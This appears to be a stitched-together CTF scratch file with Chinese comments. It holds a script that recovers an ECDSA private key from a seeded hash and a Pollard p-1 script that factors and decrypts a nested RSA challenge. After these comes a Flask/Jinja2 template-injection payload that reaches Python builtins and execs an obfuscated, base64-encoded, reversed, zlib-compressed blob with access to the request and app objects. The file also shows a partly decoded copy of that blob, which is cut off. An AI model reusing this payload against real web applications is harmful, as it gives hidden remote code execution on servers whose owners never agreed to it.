# 源码第 9-11 行
digest_int = int.from_bytes(sha512(b"Welcome to this challenge!").digest(), "big")
curve_order = NIST521p.order
priv_int = digest_int % curve_order

import hashlib
from ecdsa import NIST521p

# --- 第一步：计算私钥 ---
# 1. 准备题目中的种子字符串
seed = b"Welcome to this challenge!"

# 2. 计算 SHA-512 哈希
digest_val = hashlib.sha512(seed).digest()

# 3. 转换为整数
digest_int = int.from_bytes(digest_val, "big")

# 4. 获取 NIST521p 曲线的阶 (Order)
curve_order = NIST521p.order

# 5. 取模得到私钥 (d)
priv_int = digest_int % curve_order

print(f"[+] 算出私钥 (十进制): {priv_int}")

# --- 第二步：生成 Flag ---
# 题目要求：flag{私钥的MD5值}
# 通常情况下，指的是私钥的“十进制字符串”的 MD5
priv_str = str(priv_int) 
flag_content = hashlib.md5(priv_str.encode()).hexdigest()

print(f"[+] 最终 Flag: flag{{{flag_content}}}")

import gmpy2
import sys
from Crypto.Util.number import long_to_bytes

# 设置递归深度，防止递归分解时报错
sys.setrecursionlimit(2000)

# ================= 题目数据 =================
n1 = 16141229822582999941795528434053604024130834376743380417543848154510567941426284503974843508505293632858944676904777719167211264225017879544879766461905421764911145115313698529148118556481569662427943129906246669392285465962009760415398277861235401144473728421924300182818519451863668543279964773812681294700932779276119980976088388578080667457572761731749115242478798767995746571783659904107470270861418250270529189065684265364754871076595202944616294213418165898411332609375456093386942710433731450591144173543437880652898520275020008888364820928962186107055633582315448537508963579549702813766809204496344017389879
n = 484831124108275939341366810506193994531550055695853253298115538101629337644848848341479419438032232339003236906071864005366050185096955712484824249228197577223248353640366078747360090084446361275032026781246854700074896711976487694783856878403247312312487197243272330518861346981470353394149785086635163868023866817552387681890963052199983782800993485245670437818180617561464964987316161927118605512017355921555464359512280368738197370963036482455976503266489446554327046948670215814974461717020804892983665655107351050779151227099827044949961517305345415735355361979690945791766389892262659146088374064423340675969505766640604405056526597458482705651442368165084488267428304515239897907407899916127394598273176618290300112450670040922567688605072749116061905175316975711341960774150260004939250949738836358264952590189482518415728072191137713935386026127881564386427069721229262845412925923228235712893710368875996153516581760868562584742909664286792076869106489090142359608727406720798822550560161176676501888507397207863998129261472631954482761264406483807145805232317147769145985955267206369675711834485845321043623959730914679051434102698588945009836642922614296598336035078421463808774940679339890140690147375340294139027290793
c = 657984921229942454933933403447729006306657607710326864301226455143743298424203173231485254106370042482797921667656700155904329772383820736458855765136793243316671212869426397954684784861721375098512569633961083815312918123032774700110069081262242921985864796328969423527821139281310369981972743866271594590344539579191695406770264993187783060116166611986577690957583312376226071223036478908520539670631359415937784254986105845218988574365136837803183282535335170744088822352494742132919629693849729766426397683869482842748401000853783134170305075124230522253670782186531697976487673160305610021244587265868919495629
e = 65537

# ================= 1. 准备素数表 (关键修正) =================
print("[*] Generating prime sieve...")
# 题目中 factor = getPrime(20)，最大可能到 2^20 (约104万)
# 必须覆盖这个范围，否则找不到因子！
limit = 1050000 
primes = []
is_prime = [True] * (limit + 1)
for i in range(2, limit + 1):
    if is_prime[i]:
        primes.append(i)
        for j in range(i * i, limit + 1, i):
            is_prime[j] = False
print(f"[*] Found {len(primes)} primes up to {limit}.")

# ================= 2. 稳健的 Pollard p-1 分解 =================
def find_factor_pollard_p1_robust(N, primes_list):
    """
    尝试从复合数 N 中分离出一个因子。
    使用 n1 作为预乘指数，然后批量乘以小素数。
    如果批量导致 GCD=N，则进行回溯和逐个检查。
    """
    if gmpy2.is_prime(N):
        return N
        
    print(f"[*] Attempting to factor modulus of size {N.bit_length()} bits...")
    
    # 核心：利用 p-1 包含 n1 的因子的特性
    # 先计算 base = 2^n1 mod N
    g = gmpy2.powmod(2, n1, N)
    
    # 如果一开始就是 1，说明 n1 已经足够分解它了（不太可能，但如果是，说明 n1 是 lcm 的倍数）
    d_initial = gmpy2.gcd(g - 1, N)
    if 1 < d_initial < N:
        return d_initial
    if d_initial == N:
        # 极端情况：n1 直接让所有因子都变为 1
        # 这时候需要减小指数，比如不用 n1，从 2 开始慢慢乘
        print("[!] n1 is too strong initially. Restarting with base 2.")
        g = 2
    
    block_size = 200 # 批量处理大小
    
    for i in range(0, len(primes_list), block_size):
        chunk = primes_list[i : i + block_size]
        
        # 计算当前批次的乘积指数
        E_chunk = 1
        for p in chunk:
            E_chunk *= p
            
        # 尝试应用这个批次
        new_g = gmpy2.powmod(g, E_chunk, N)
        d = gmpy2.gcd(new_g - 1, N)
        
        if d == 1:
            # 还没找到，继续累积
            g = new_g
            if i % 10000 == 0 and i > 0:
                print(f"    Processed {i} primes...")
                
        elif 1 < d < N:
            # 成功找到因子！
            print(f"[+] Found factor! {d}")
            return d
            
        elif d == N:
            # 碰撞！这一批次太猛了，导致 g 变成了 1 (mod 所有因子)
            # 我们需要回退到 g (上一轮的状态)，然后在这个 chunk 里逐个乘
            print(f"[!] Collision detected at chunk {i}. Drilling down single primes...")
            
            # 使用旧的 g 逐个尝试
            temp_g = g
            for single_p in chunk:
                temp_g = gmpy2.powmod(temp_g, single_p, N)
                d_single = gmpy2.gcd(temp_g - 1, N)
                if 1 < d_single < N:
                    print(f"[+] Found factor during drill-down: {d_single}")
                    return d_single
            
            # 如果跑完了还是 N (理论上不应该，除非上一步状态已经坏了)，则无法挽救
            print("[-] Drill down failed. This shouldn't happen if math holds.")
            return N
            
    return N # 没找到

# 主循环分解逻辑
factors_found = []
composites = [n]

while composites:
    curr_n = composites.pop(0)
    
    # 尝试分解 curr_n
    factor = find_factor_pollard_p1_robust(curr_n, primes)
    
    if factor == curr_n:
        # 分解失败或它是素数
        if gmpy2.is_prime(curr_n):
            print(f"[+] Identified prime factor: {curr_n}")
            factors_found.append(curr_n)
        else:
            print(f"[-] Failed to decompose composite: {curr_n}")
            # 如果这里失败了，说明素数表还不够大，或者结构特殊
            # 对于这道题，1050000 limit 绝对够了
            break
    else:
        # 成功分解，将两个因子放回队列继续处理
        print(f"[+] Split successful. Adding parts to queue.")
        composites.append(factor)
        composites.append(curr_n // factor)
        
    # 如果我们已经找到了 4 个因子，检查是否都是素数
    if len(factors_found) + len(composites) == 4 and all(gmpy2.is_prime(x) for x in composites):
        factors_found.extend(composites)
        break

print(f"\n[*] Total prime factors found: {len(factors_found)}")

# ================= 3. 还原内层模数因子并解密 =================
if len(factors_found) == 4:
    print("[*] Recovering inner factors (p1, q1, r1, s1)...")
    factors_n1 = []
    
    for p_outer in factors_found:
        # p1 = GCD(p - 1, n1)
        p1 = gmpy2.gcd(p_outer - 1, n1)
        if p1 > 1:
            factors_n1.append(p1)
        else:
            print(f"[-] Error recovering p1 from {p_outer}")

    if len(factors_n1) == 4:
        print("[+] All inner factors recovered.")
        # 计算 Phi(n1)
        phi = 1
        for p in factors_n1:
            phi *= (p - 1)
          
        
        # 计算私钥 d
        try:
            d = gmpy2.invert(e, phi)
            # 解密
            m = gmpy2.powmod(c, d, n1)
            flag_padded = long_to_bytes(m)
            
            print("\n" + "="*30)
            print("[+] Decrypted Message:")
            print(flag_padded)
            try:
                print("[+] Flag:", flag_padded.decode())
            except:
                pass
            print("="*30)
        except Exception as err:
            print(f"[-] Error during decryption: {err}")
    else:
        print("[-] Could not recover all 4 inner factors.")
else:
    print("[-] Need exactly 4 factors of n to proceed.")

{{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ=='))", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ==

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
exec((_)(b'=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